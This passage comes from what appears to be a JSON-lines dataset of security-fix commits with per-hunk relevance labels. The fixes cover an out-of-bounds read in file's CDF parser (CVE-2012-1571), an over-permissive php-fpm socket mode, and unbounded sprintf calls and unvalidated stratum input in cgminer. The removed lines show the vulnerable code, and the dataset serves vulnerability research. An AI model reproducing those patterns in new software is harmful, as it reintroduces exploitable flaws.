23:26:17 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: cdf.c,v 1.56 2014/05/05 16:11:21 christos Exp $\")\n #endif\n \n #include \n", "related": false}, {"section": "@@ -932,7 +932,7 @@ int\n cdf_unpack_summary_info(const cdf_stream_t *sst, const cdf_header_t *h,\n cdf_summary_info_header_t *ssi, cdf_property_info_t **info, size_t *count)\n {\n-\tsize_t i, maxcount;\n+\tsize_t maxcount;\n \tconst cdf_summary_info_header_t *si =\n \t CAST(const cdf_summary_info_header_t *, sst->sst_tab);\n \tconst cdf_section_declaration_t *sd =\n", "related": false}, {"section": "@@ -947,21 +947,13 @@ cdf_unpack_summary_info(const cdf_stream_t *sst, const cdf_header_t *h,\n \tssi->si_os = CDF_TOLE2(si->si_os);\n \tssi->si_class = si->si_class;\n \tcdf_swap_class(&ssi->si_class);\n-\tssi->si_count = CDF_TOLE2(si->si_count);\n+\tssi->si_count = CDF_TOLE4(si->si_count);\n \t*count = 0;\n \tmaxcount = 0;\n \t*info = NULL;\n-\tfor (i = 0; i < CDF_TOLE4(si->si_count); i++) {\n-\t\tif (i >= CDF_LOOP_LIMIT) {\n-\t\t\tDPRINTF((\"Unpack summary info loop limit\"));\n-\t\t\terrno = EFTYPE;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif (cdf_read_property_info(sst, h, CDF_TOLE4(sd->sd_offset),\n-\t\t info, count, &maxcount) == -1) {\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n+\tif (cdf_read_property_info(sst, h, CDF_TOLE4(sd->sd_offset), info,\n+\t count, &maxcount) == -1)\n+\t\treturn -1;\n \treturn 0;\n }\n ", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "sapi/fpm/fpm/fpm_unix.c", "commit_id": "35ceea928b12373a3b1e3eecdc32ed323223a40d", "commit_message": "Fix bug #67060: use default mode of 660", "patch": "@@ -35,7 +35,7 @@ int fpm_unix_resolve_socket_premissions(struct fpm_worker_pool_s *wp) /* {{{ */\n \t/* uninitialized */\n \twp->socket_uid = -1;\n \twp->socket_gid = -1;\n-\twp->socket_mode = 0666;\n+\twp->socket_mode = 0660;\n \n \tif (!c) {\n \t\treturn 0;", "sections": [{"section": "@@ -35,7 +35,7 @@ int fpm_unix_resolve_socket_premissions(struct fpm_worker_pool_s *wp) /* {{{ */\n \t/* uninitialized */\n \twp->socket_uid = -1;\n \twp->socket_gid = -1;\n-\twp->socket_mode = 0666;\n+\twp->socket_mode = 0660;\n \n \tif (!c) {\n \t\treturn 0;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/target/target_core_rd.c", "commit_id": "4442dc8a92b8f9ad8ee9e7f8438f4c04c03a22dc", "commit_message": "target/rd: Refactor rd_build_device_space + rd_release_device_space\n\nThis patch refactors rd_build_device_space() + rd_release_device_space()\ninto rd_allocate_sgl_table() + rd_release_device_space() so that they\nmay be used seperatly for setup + release of protection information\nscatterlists.\n\nAlso add explicit memset of pages within rd_allocate_sgl_table() based\nupon passed 'init_payload' value.\n\nv2 changes:\n - Drop unused sg_table from rd_release_device_space (Wei)\n\nCc: Martin K. Petersen \nCc: Christoph Hellwig \nCc: Hannes Reinecke \nCc: Sagi Grimberg \nCc: Or Gerlitz \nSigned-off-by: Nicholas Bellinger ", "patch": "@@ -78,23 +78,14 @@ static void rd_detach_hba(struct se_hba *hba)\n \thba->hba_ptr = NULL;\n }\n \n-/*\trd_release_device_space():\n- *\n- *\n- */\n-static void rd_release_device_space(struct rd_dev *rd_dev)\n+static u32 rd_release_sgl_table(struct rd_dev *rd_dev, struct rd_dev_sg_table *sg_table,\n+\t\t\t\t u32 sg_table_count)\n {\n-\tu32 i, j, page_count = 0, sg_per_table;\n-\tstruct rd_dev_sg_table *sg_table;\n \tstruct page *pg;\n \tstruct scatterlist *sg;\n+\tu32 i, j, page_count = 0, sg_per_table;\n \n-\tif (!rd_dev->sg_table_array || !rd_dev->sg_table_count)\n-\t\treturn;\n-\n-\tsg_table = rd_dev->sg_table_array;\n-\n-\tfor (i = 0; i < rd_dev->sg_table_count; i++) {\n+\tfor (i = 0; i < sg_table_count; i++) {\n \t\tsg = sg_table[i].sg_table;\n \t\tsg_per_table = sg_table[i].rd_sg_count;\n \n@@ -105,16 +96,28 @@ static void rd_release_device_space(struct rd_dev *rd_dev)\n \t\t\t\tpage_count++;\n \t\t\t}\n \t\t}\n-\n \t\tkfree(sg);\n \t}\n \n+\tkfree(sg_table);\n+\treturn page_count;\n+}\n+\n+static void rd_release_device_space(struct rd_dev *rd_dev)\n+{\n+\tu32 page_count;\n+\n+\tif (!rd_dev->sg_table_array || !rd_dev->sg_table_count)\n+\t\treturn;\n+\n+\tpage_count = rd_release_sgl_table(rd_dev, rd_dev->sg_table_array,\n+\t\t\t\t\t rd_dev->sg_table_count);\n+\n \tpr_debug(\"CORE_RD[%u] - Released device space for Ramdisk\"\n \t\t\" Device ID: %u, pages %u in %u tables total bytes %lu\\n\",\n \t\trd_dev->rd_host->rd_host_id, rd_dev->rd_dev_id, page_count,\n \t\trd_dev->sg_table_count, (unsigned long)page_count * PAGE_SIZE);\n \n-\tkfree(sg_table);\n \trd_dev->sg_table_array = NULL;\n \trd_dev->sg_table_count = 0;\n }\n@@ -124,38 +127,15 @@ static void rd_release_device_space(struct rd_dev *rd_dev)\n *\n *\n */\n-static int rd_build_device_space(struct rd_dev *rd_dev)\n+static int rd_allocate_sgl_table(struct rd_dev *rd_dev, struct rd_dev_sg_table *sg_table,\n+\t\t\t\t u32 total_sg_needed, unsigned char init_payload)\n {\n-\tu32 i = 0, j, page_offset = 0, sg_per_table, sg_tables, total_sg_needed;\n+\tu32 i = 0, j, page_offset = 0, sg_per_table;\n \tu32 max_sg_per_table = (RD_MAX_ALLOCATION_SIZE /\n \t\t\t\tsizeof(struct scatterlist));\n-\tstruct rd_dev_sg_table *sg_table;\n \tstruct page *pg;\n \tstruct scatterlist *sg;\n-\n-\tif (rd_dev->rd_page_count <= 0) {\n-\t\tpr_err(\"Illegal page count: %u for Ramdisk device\\n\",\n-\t\t\trd_dev->rd_page_count);\n-\t\treturn -EINVAL;\n-\t}\n-\n-\t/* Don't need backing pages for NULLIO */\n-\tif (rd_dev->rd_flags & RDF_NULLIO)\n-\t\treturn 0;\n-\n-\ttotal_sg_needed = rd_dev->rd_page_count;\n-\n-\tsg_tables = (total_sg_needed / max_sg_per_table) + 1;\n-\n-\tsg_table = kzalloc(sg_tables * sizeof(struct rd_dev_sg_table), GFP_KERNEL);\n-\tif (!sg_table) {\n-\t\tpr_err(\"Unable to allocate memory for Ramdisk\"\n-\t\t\t\" scatterlist tables\\n\");\n-\t\treturn -ENOMEM;\n-\t}\n-\n-\trd_dev->sg_table_array = sg_table;\n-\trd_dev->sg_table_count = sg_tables;\n+\tunsigned char *p;\n \n \twhile (total_sg_needed) {\n \t\tsg_per_table = (total_sg_needed > max_sg_per_table) ?\n@@ -186,16 +166,59 @@ static int rd_build_device_space(struct rd_dev *rd_dev)\n \t\t\t}\n \t\t\tsg_assign_page(&sg[j], pg);\n \t\t\tsg[j].length = PAGE_SIZE;\n+\n+\t\t\tp = kmap(pg);\n+\t\t\tmemset(p, init_payload, PAGE_SIZE);\n+\t\t\tkunmap(pg);\n \t\t}\n \n \t\tpage_offset += sg_per_table;\n \t\ttotal_sg_needed -= sg_per_table;\n \t}\n \n+\treturn 0;\n+}\n+\n+static int rd_build_device_space(struct rd_dev *rd_dev)\n+{\n+\tstruct rd_dev_sg_table *sg_table;\n+\tu32 sg_tables, total_sg_needed;\n+\tu32 max_sg_per_table = (RD_MAX_ALLOCATION_SIZE /\n+\t\t\t\tsizeof(struct scatterlist));\n+\tint rc;\n+\n+\tif (rd_dev->rd_page_count <= 0) {\n+\t\tpr_err(\"Illegal page count: %u for Ramdisk device\\n\",\n+\t\t rd_dev->rd_page_count);\n+\t\treturn -EINVAL;\n+\t}\n+\n+\t/* Don't need backing pages for NULLIO */\n+\tif (rd_dev->rd_flags & RDF_NULLIO)\n+\t\treturn 0;\n+\n+\ttotal_sg_needed = rd_dev->rd_page_count;\n+\n+\tsg_tables = (total_sg_needed / max_sg_per_table) + 1;\n+\n+\tsg_table = kzalloc(sg_tables * sizeof(struct rd_dev_sg_table), GFP_KERNEL);\n+\tif (!sg_table) {\n+\t\tpr_err(\"Unable to allocate memory for Ramdisk\"\n+\t\t \" scatterlist tables\\n\");\n+\t\treturn -ENOMEM;\n+\t}\n+\n+\trd_dev->sg_table_array = sg_table;\n+\trd_dev->sg_table_count = sg_tables;\n+\n+\trc = rd_allocate_sgl_table(rd_dev, sg_table, total_sg_needed, 0x00);\n+\tif (rc)\n+\t\treturn rc;\n+\n \tpr_debug(\"CORE_RD[%u] - Built Ramdisk Device ID: %u space of\"\n-\t\t\" %u pages in %u tables\\n\", rd_dev->rd_host->rd_host_id,\n-\t\trd_dev->rd_dev_id, rd_dev->rd_page_count,\n-\t\trd_dev->sg_table_count);\n+\t\t \" %u pages in %u tables\\n\", rd_dev->rd_host->rd_host_id,\n+\t\t rd_dev->rd_dev_id, rd_dev->rd_page_count,\n+\t\t rd_dev->sg_table_count);\n \n \treturn 0;\n }", "sections": [{"section": "@@ -78,23 +78,14 @@ static void rd_detach_hba(struct se_hba *hba)\n \thba->hba_ptr = NULL;\n }\n \n-/*\trd_release_device_space():\n- *\n- *\n- */\n-static void rd_release_device_space(struct rd_dev *rd_dev)\n+static u32 rd_release_sgl_table(struct rd_dev *rd_dev, struct rd_dev_sg_table *sg_table,\n+\t\t\t\t u32 sg_table_count)\n {\n-\tu32 i, j, page_count = 0, sg_per_table;\n-\tstruct rd_dev_sg_table *sg_table;\n \tstruct page *pg;\n \tstruct scatterlist *sg;\n+\tu32 i, j, page_count = 0, sg_per_table;\n \n-\tif (!rd_dev->sg_table_array || !rd_dev->sg_table_count)\n-\t\treturn;\n-\n-\tsg_table = rd_dev->sg_table_array;\n-\n-\tfor (i = 0; i < rd_dev->sg_table_count; i++) {\n+\tfor (i = 0; i < sg_table_count; i++) {\n \t\tsg = sg_table[i].sg_table;\n \t\tsg_per_table = sg_table[i].rd_sg_count;\n \n", "related": false}, {"section": "@@ -105,16 +96,28 @@ static void rd_release_device_space(struct rd_dev *rd_dev)\n \t\t\t\tpage_count++;\n \t\t\t}\n \t\t}\n-\n \t\tkfree(sg);\n \t}\n \n+\tkfree(sg_table);\n+\treturn page_count;\n+}\n+\n+static void rd_release_device_space(struct rd_dev *rd_dev)\n+{\n+\tu32 page_count;\n+\n+\tif (!rd_dev->sg_table_array || !rd_dev->sg_table_count)\n+\t\treturn;\n+\n+\tpage_count = rd_release_sgl_table(rd_dev, rd_dev->sg_table_array,\n+\t\t\t\t\t rd_dev->sg_table_count);\n+\n \tpr_debug(\"CORE_RD[%u] - Released device space for Ramdisk\"\n \t\t\" Device ID: %u, pages %u in %u tables total bytes %lu\\n\",\n \t\trd_dev->rd_host->rd_host_id, rd_dev->rd_dev_id, page_count,\n \t\trd_dev->sg_table_count, (unsigned long)page_count * PAGE_SIZE);\n \n-\tkfree(sg_table);\n \trd_dev->sg_table_array = NULL;\n \trd_dev->sg_table_count = 0;\n }\n", "related": false}, {"section": "@@ -124,38 +127,15 @@ static void rd_release_device_space(struct rd_dev *rd_dev)\n *\n *\n */\n-static int rd_build_device_space(struct rd_dev *rd_dev)\n+static int rd_allocate_sgl_table(struct rd_dev *rd_dev, struct rd_dev_sg_table *sg_table,\n+\t\t\t\t u32 total_sg_needed, unsigned char init_payload)\n {\n-\tu32 i = 0, j, page_offset = 0, sg_per_table, sg_tables, total_sg_needed;\n+\tu32 i = 0, j, page_offset = 0, sg_per_table;\n \tu32 max_sg_per_table = (RD_MAX_ALLOCATION_SIZE /\n \t\t\t\tsizeof(struct scatterlist));\n-\tstruct rd_dev_sg_table *sg_table;\n \tstruct page *pg;\n \tstruct scatterlist *sg;\n-\n-\tif (rd_dev->rd_page_count <= 0) {\n-\t\tpr_err(\"Illegal page count: %u for Ramdisk device\\n\",\n-\t\t\trd_dev->rd_page_count);\n-\t\treturn -EINVAL;\n-\t}\n-\n-\t/* Don't need backing pages for NULLIO */\n-\tif (rd_dev->rd_flags & RDF_NULLIO)\n-\t\treturn 0;\n-\n-\ttotal_sg_needed = rd_dev->rd_page_count;\n-\n-\tsg_tables = (total_sg_needed / max_sg_per_table) + 1;\n-\n-\tsg_table = kzalloc(sg_tables * sizeof(struct rd_dev_sg_table), GFP_KERNEL);\n-\tif (!sg_table) {\n-\t\tpr_err(\"Unable to allocate memory for Ramdisk\"\n-\t\t\t\" scatterlist tables\\n\");\n-\t\treturn -ENOMEM;\n-\t}\n-\n-\trd_dev->sg_table_array = sg_table;\n-\trd_dev->sg_table_count = sg_tables;\n+\tunsigned char *p;\n \n \twhile (total_sg_needed) {\n \t\tsg_per_table = (total_sg_needed > max_sg_per_table) ?\n", "related": false}, {"section": "@@ -186,16 +166,59 @@ static int rd_build_device_space(struct rd_dev *rd_dev)\n \t\t\t}\n \t\t\tsg_assign_page(&sg[j], pg);\n \t\t\tsg[j].length = PAGE_SIZE;\n+\n+\t\t\tp = kmap(pg);\n+\t\t\tmemset(p, init_payload, PAGE_SIZE);\n+\t\t\tkunmap(pg);\n \t\t}\n \n \t\tpage_offset += sg_per_table;\n \t\ttotal_sg_needed -= sg_per_table;\n \t}\n \n+\treturn 0;\n+}\n+\n+static int rd_build_device_space(struct rd_dev *rd_dev)\n+{\n+\tstruct rd_dev_sg_table *sg_table;\n+\tu32 sg_tables, total_sg_needed;\n+\tu32 max_sg_per_table = (RD_MAX_ALLOCATION_SIZE /\n+\t\t\t\tsizeof(struct scatterlist));\n+\tint rc;\n+\n+\tif (rd_dev->rd_page_count <= 0) {\n+\t\tpr_err(\"Illegal page count: %u for Ramdisk device\\n\",\n+\t\t rd_dev->rd_page_count);\n+\t\treturn -EINVAL;\n+\t}\n+\n+\t/* Don't need backing pages for NULLIO */\n+\tif (rd_dev->rd_flags & RDF_NULLIO)\n+\t\treturn 0;\n+\n+\ttotal_sg_needed = rd_dev->rd_page_count;\n+\n+\tsg_tables = (total_sg_needed / max_sg_per_table) + 1;\n+\n+\tsg_table = kzalloc(sg_tables * sizeof(struct rd_dev_sg_table), GFP_KERNEL);\n+\tif (!sg_table) {\n+\t\tpr_err(\"Unable to allocate memory for Ramdisk\"\n+\t\t \" scatterlist tables\\n\");\n+\t\treturn -ENOMEM;\n+\t}\n+\n+\trd_dev->sg_table_array = sg_table;\n+\trd_dev->sg_table_count = sg_tables;\n+\n+\trc = rd_allocate_sgl_table(rd_dev, sg_table, total_sg_needed, 0x00);\n+\tif (rc)\n+\t\treturn rc;\n+\n \tpr_debug(\"CORE_RD[%u] - Built Ramdisk Device ID: %u space of\"\n-\t\t\" %u pages in %u tables\\n\", rd_dev->rd_host->rd_host_id,\n-\t\trd_dev->rd_dev_id, rd_dev->rd_page_count,\n-\t\trd_dev->sg_table_count);\n+\t\t \" %u pages in %u tables\\n\", rd_dev->rd_host->rd_host_id,\n+\t\t rd_dev->rd_dev_id, rd_dev->rd_page_count,\n+\t\t rd_dev->sg_table_count);\n \n \treturn 0;\n }", "related": false}]} +{"owner": "ckolivas", "repo": "cgminer", "language": "C", "file_name": "util.c", "commit_id": "e1c5050734123973b99d181c45e74b2cbb00272e", "commit_message": "Do some random sanity checking for stratum message parsing", "patch": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2011-2013 Con Kolivas\n+ * Copyright 2011-2014 Con Kolivas\n * Copyright 2010 Jeff Garzik\n *\n * This program is free software; you can redistribute it and/or modify it\n@@ -720,6 +720,34 @@ bool hex2bin(unsigned char *p, const char *hexstr, size_t len)\n \treturn ret;\n }\n \n+static bool _valid_hex(char *s, const char *file, const char *func, const int line)\n+{\n+\tbool ret = false;\n+\tint i, len;\n+\n+\tif (unlikely(!s)) {\n+\t\tapplog(LOG_ERR, \"Null string passed to valid_hex from\"IN_FMT_FFL, file, func, line);\n+\t\treturn ret;\n+\t}\n+\tlen = strlen(s);\n+\tif (unlikely(!len)) {\n+\t\tapplog(LOG_ERR, \"Zero length string passed to valid_hex from\"IN_FMT_FFL, file, func, line);\n+\t\treturn ret;\n+\t}\n+\tfor (i = 0; i < len; i++) {\n+\t\tunsigned char idx = s[i];\n+\n+\t\tif (unlikely(hex2bin_tbl[idx] < 0)) {\n+\t\t\tapplog(LOG_ERR, \"Invalid char %x passed to valid_hex from\"IN_FMT_FFL, idx, file, func, line);\n+\t\t\treturn ret;\n+\t\t}\n+\t}\n+\tret = true;\n+\treturn ret;\n+}\n+\n+#define valid_hex(s) _valid_hex(s, __FILE__, __func__, __LINE__)\n+\n static const int b58tobin_tbl[] = {\n \t-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n \t-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n@@ -1375,7 +1403,7 @@ bool extract_sockaddr(char *url, char **sockaddr_url, char **sockaddr_port)\n \tif (url_len < 1)\n \t\treturn false;\n \n-\tsprintf(url_address, \"%.*s\", url_len, url_begin);\n+\tsnprintf(url_address, 254, \"%.*s\", url_len, url_begin);\n \n \tif (port_len) {\n \t\tchar *slash;\n@@ -1685,14 +1713,13 @@ static bool parse_notify(struct pool *pool, json_t *val)\n \tntime = __json_array_string(val, 7);\n \tclean = json_is_true(json_array_get(val, 8));\n \n-\tif (!job_id || !prev_hash || !coinbase1 || !coinbase2 || !bbversion || !nbit || !ntime) {\n+\tif (!valid_hex(job_id) || !valid_hex(prev_hash) || !valid_hex(coinbase1) ||\n+\t !valid_hex(coinbase2) || !valid_hex(bbversion) || !valid_hex(nbit) ||\n+\t !valid_hex(ntime)) {\n \t\t/* Annoying but we must not leak memory */\n-\t\tif (job_id)\n-\t\t\tfree(job_id);\n-\t\tif (coinbase1)\n-\t\t\tfree(coinbase1);\n-\t\tif (coinbase2)\n-\t\t\tfree(coinbase2);\n+\t\tfree(job_id);\n+\t\tfree(coinbase1);\n+\t\tfree(coinbase2);\n \t\tgoto out;\n \t}\n \n@@ -1880,7 +1907,7 @@ static bool parse_reconnect(struct pool *pool, json_t *val)\n \tif (!port)\n \t\tport = pool->stratum_port;\n \n-\tsprintf(address, \"%s:%s\", url, port);\n+\tsnprintf(address, 254, \"%s:%s\", url, port);\n \n \tif (!extract_sockaddr(address, &sockaddr_url, &stratum_port))\n \t\treturn false;\n@@ -2551,14 +2578,14 @@ bool initiate_stratum(struct pool *pool)\n \tif (!sessionid)\n \t\tapplog(LOG_DEBUG, \"Failed to get sessionid in initiate_stratum\");\n \tnonce1 = json_array_string(res_val, 1);\n-\tif (!nonce1) {\n-\t\tapplog(LOG_INFO, \"Failed to get nonce1 in initiate_stratum\");\n+\tif (!valid_hex(nonce1)) {\n+\t\tapplog(LOG_INFO, \"Failed to get valid nonce1 in initiate_stratum\");\n \t\tfree(sessionid);\n \t\tgoto out;\n \t}\n \tn2size = json_integer_value(json_array_get(res_val, 2));\n-\tif (!n2size) {\n-\t\tapplog(LOG_INFO, \"Failed to get n2size in initiate_stratum\");\n+\tif (n2size < 2 || n2size > 16) {\n+\t\tapplog(LOG_INFO, \"Failed to get valid n2size in initiate_stratum\");\n \t\tfree(sessionid);\n \t\tfree(nonce1);\n \t\tgoto out;", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2011-2013 Con Kolivas\n+ * Copyright 2011-2014 Con Kolivas\n * Copyright 2010 Jeff Garzik\n *\n * This program is free software; you can redistribute it and/or modify it\n", "related": false}, {"section": "@@ -720,6 +720,34 @@ bool hex2bin(unsigned char *p, const char *hexstr, size_t len)\n \treturn ret;\n }\n \n+static bool _valid_hex(char *s, const char *file, const char *func, const int line)\n+{\n+\tbool ret = false;\n+\tint i, len;\n+\n+\tif (unlikely(!s)) {\n+\t\tapplog(LOG_ERR, \"Null string passed to valid_hex from\"IN_FMT_FFL, file, func, line);\n+\t\treturn ret;\n+\t}\n+\tlen = strlen(s);\n+\tif (unlikely(!len)) {\n+\t\tapplog(LOG_ERR, \"Zero length string passed to valid_hex from\"IN_FMT_FFL, file, func, line);\n+\t\treturn ret;\n+\t}\n+\tfor (i = 0; i < len; i++) {\n+\t\tunsigned char idx = s[i];\n+\n+\t\tif (unlikely(hex2bin_tbl[idx] < 0)) {\n+\t\t\tapplog(LOG_ERR, \"Invalid char %x passed to valid_hex from\"IN_FMT_FFL, idx, file, func, line);\n+\t\t\treturn ret;\n+\t\t}\n+\t}\n+\tret = true;\n+\treturn ret;\n+}\n+\n+#define valid_hex(s) _valid_hex(s, __FILE__, __func__, __LINE__)\n+\n static const int b58tobin_tbl[] = {\n \t-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n \t-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,\n", "related": false}, {"section": "@@ -1375,7 +1403,7 @@ bool extract_sockaddr(char *url, char **sockaddr_url, char **sockaddr_port)\n \tif (url_len < 1)\n \t\treturn false;\n \n-\tsprintf(url_address, \"%.*s\", url_len, url_begin);\n+\tsnprintf(url_address, 254, \"%.*s\", url_len, url_begin);\n \n \tif (port_len) {\n \t\tchar *slash;\n", "related": false}, {"section": "@@ -1685,14 +1713,13 @@ static bool parse_notify(struct pool *pool, json_t *val)\n \tntime = __json_array_string(val, 7);\n \tclean = json_is_true(json_array_get(val, 8));\n \n-\tif (!job_id || !prev_hash || !coinbase1 || !coinbase2 || !bbversion || !nbit || !ntime) {\n+\tif (!valid_hex(job_id) || !valid_hex(prev_hash) || !valid_hex(coinbase1) ||\n+\t !valid_hex(coinbase2) || !valid_hex(bbversion) || !valid_hex(nbit) ||\n+\t !valid_hex(ntime)) {\n \t\t/* Annoying but we must not leak memory */\n-\t\tif (job_id)\n-\t\t\tfree(job_id);\n-\t\tif (coinbase1)\n-\t\t\tfree(coinbase1);\n-\t\tif (coinbase2)\n-\t\t\tfree(coinbase2);\n+\t\tfree(job_id);\n+\t\tfree(coinbase1);\n+\t\tfree(coinbase2);\n \t\tgoto out;\n \t}\n \n", "related": false}, {"section": "@@ -1880,7 +1907,7 @@ static bool parse_reconnect(struct pool *pool, json_t *val)\n \tif (!port)\n \t\tport = pool->stratum_port;\n \n-\tsprintf(address, \"%s:%s\", url, port);\n+\tsnprintf(address, 254, \"%s:%s\", url, port);\n \n \tif (!extract_sockaddr(address, &sockaddr_url, &stratum_port))\n \t\treturn false;\n", "related": false}, {"section": "@@ -2551,14 +2578,14 @@ bool initiate_stratum(struct pool *pool)\n \tif (!sessionid)\n \t\tapplog(LOG_DEBUG, \"Failed to get sessionid in initiate_stratum\");\n \tnonce1 = json_array_string(res_val, 1);\n-\tif (!nonce1) {\n-\t\tapplog(LOG_INFO, \"Failed to get nonce1 in initiate_stratum\");\n+\tif (!valid_hex(nonce1)) {\n+\t\tapplog(LOG_INFO, \"Failed to get valid nonce1 in initiate_stratum\");\n \t\tfree(sessionid);\n \t\tgoto out;\n \t}\n \tn2size = json_integer_value(json_array_get(res_val, 2));\n-\tif (!n2size) {\n-\t\tapplog(LOG_INFO, \"Failed to get n2size in initiate_stratum\");\n+\tif (n2size < 2 || n2size > 16) {\n+\t\tapplog(LOG_INFO, \"Failed to get valid n2size in initiate_stratum\");\n \t\tfree(sessionid);\n \t\tfree(nonce1);\n \t\tgoto out;", "related": false}]} +{"owner": "file", "repo": "file", "language": "C", "file_name": "src/cdf.c", "commit_id": "6d209c1c489457397a5763bca4b28e43aac90391", "commit_message": "Apply patches from file-CVE-2012-1571.patch\nFrom Francisco Alonso Espejo:\n file < 5.18/git version can be made to crash when checking some\n corrupt CDF files (Using an invalid cdf_read_short_sector size)\n The problem I found here, is that in most situations (if\n h_short_sec_size_p2 > 8) because the blocksize is 512 and normal\n values are 06 which means reading 64 bytes.As long as the check\n for the block size copy is not checked properly (there's an assert\n that makes wrong/invalid assumptions)", "patch": "@@ -35,7 +35,7 @@\n #include \"file.h\"\n \n #ifndef lint\n-FILE_RCSID(\"@(#)$File: cdf.c,v 1.54 2014/02/25 20:52:02 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: cdf.c,v 1.55 2014/02/27 23:26:17 christos Exp $\")\n #endif\n \n #include \n@@ -352,10 +352,10 @@ cdf_read_short_sector(const cdf_stream_t *sst, void *buf, size_t offs,\n \tsize_t ss = CDF_SHORT_SEC_SIZE(h);\n \tsize_t pos = CDF_SHORT_SEC_POS(h, id);\n \tassert(ss == len);\n-\tif (pos > CDF_SEC_SIZE(h) * sst->sst_len) {\n+\tif (pos + len > CDF_SEC_SIZE(h) * sst->sst_len) {\n \t\tDPRINTF((\"Out of bounds read %\" SIZE_T_FORMAT \"u > %\"\n \t\t SIZE_T_FORMAT \"u\\n\",\n-\t\t pos, CDF_SEC_SIZE(h) * sst->sst_len));\n+\t\t pos + len, CDF_SEC_SIZE(h) * sst->sst_len));\n \t\treturn -1;\n \t}\n \t(void)memcpy(((char *)buf) + offs,", "sections": [{"section": "@@ -35,7 +35,7 @@\n #include \"file.h\"\n \n #ifndef lint\n-FILE_RCSID(\"@(#)$File: cdf.c,v 1.54 2014/02/25 20:52:02 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: cdf.c,v 1.55 2014/02/27 23:26:17 christos Exp $\")\n #endif\n \n #include \n", "related": false}, {"section": "@@ -352,10 +352,10 @@ cdf_read_short_sector(const cdf_stream_t *sst, void *buf, size_t offs,\n \tsize_t ss = CDF_SHORT_SEC_SIZE(h);\n \tsize_t pos = CDF_SHORT_SEC_POS(h, id);\n \tassert(ss == len);\n-\tif (pos > CDF_SEC_SIZE(h) * sst->sst_len) {\n+\tif (pos + len > CDF_SEC_SIZE(h) * sst->sst_len) {\n \t\tDPRINTF((\"Out of bounds read %\" SIZE_T_FORMAT \"u > %\"\n \t\t SIZE_T_FORMAT \"u\\n\",\n-\t\t pos, CDF_SEC_SIZE(h) * sst->sst_len));\n+\t\t pos + len, CDF_SEC_SIZE(h) * sst->sst_len));\n \t\treturn -1;\n \t}\n \t(void)memcpy(((char *)buf) + offs,", "related": true}]} +{"owner": "file", "repo": "file", "language": "C", "file_name": "src/softmagic.c", "commit_id": "4a284c89d6ef11aca34da65da7d673050a5ea320", "commit_message": "* Enforce limit of 8K on regex searches that have no limits\n* Allow the l modifier for regex to mean line count. Default\n to byte count. If line count is specified, assume a max\n of 80 characters per line to limit the byte count.\n* Don't allow conversions to be used for dates, allowing\n the mask field to be used as an offset.\n* Bump the version of the magic format so that regex changes\n are visible.", "patch": "@@ -32,7 +32,7 @@\n #include \"file.h\"\n \n #ifndef\tlint\n-FILE_RCSID(\"@(#)$File: softmagic.c,v 1.188 2014/05/14 23:15:42 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: softmagic.c,v 1.189 2014/05/30 16:47:44 christos Exp $\")\n #endif\t/* lint */\n \n #include \"magic.h\"\n@@ -57,7 +57,7 @@ private int32_t mprint(struct magic_set *, struct magic *);\n private int32_t moffset(struct magic_set *, struct magic *);\n private void mdebug(uint32_t, const char *, size_t);\n private int mcopy(struct magic_set *, union VALUETYPE *, int, int,\n- const unsigned char *, uint32_t, size_t, size_t);\n+ const unsigned char *, uint32_t, size_t, struct magic *);\n private int mconvert(struct magic_set *, struct magic *, int);\n private int print_sep(struct magic_set *, int);\n private int handle_annotation(struct magic_set *, struct magic *);\n@@ -540,7 +540,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_LEDATE:\n \tcase FILE_MEDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->l, FILE_T_LOCAL, tbuf)) == -1)\n+\t\t file_fmttime(p->l + m->num_mask, FILE_T_LOCAL, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint32_t);\n \t\tbreak;\n@@ -550,7 +550,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_LELDATE:\n \tcase FILE_MELDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->l, 0, tbuf)) == -1)\n+\t\t file_fmttime(p->l + m->num_mask, 0, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint32_t);\n \t\tbreak;\n@@ -559,7 +559,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_BEQDATE:\n \tcase FILE_LEQDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->q, FILE_T_LOCAL, tbuf)) == -1)\n+\t\t file_fmttime(p->q + m->num_mask, FILE_T_LOCAL, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint64_t);\n \t\tbreak;\n@@ -568,7 +568,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_BEQLDATE:\n \tcase FILE_LEQLDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->q, 0, tbuf)) == -1)\n+\t\t file_fmttime(p->q + m->num_mask, 0, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + sizeof(uint64_t);\n \t\tbreak;\n@@ -577,7 +577,7 @@ mprint(struct magic_set *ms, struct magic *m)\n \tcase FILE_BEQWDATE:\n \tcase FILE_LEQWDATE:\n \t\tif (file_printf(ms, F(ms, m, \"%s\"),\n-\t\t file_fmttime(p->q, FILE_T_WINDOWS, tbuf)) == -1)\n+\t\t file_fmttime(p->q + m->num_mask, FILE_T_WINDOWS, tbuf)) == -1)\n \t\t\treturn -1;\n \t\tt = ms->offset + 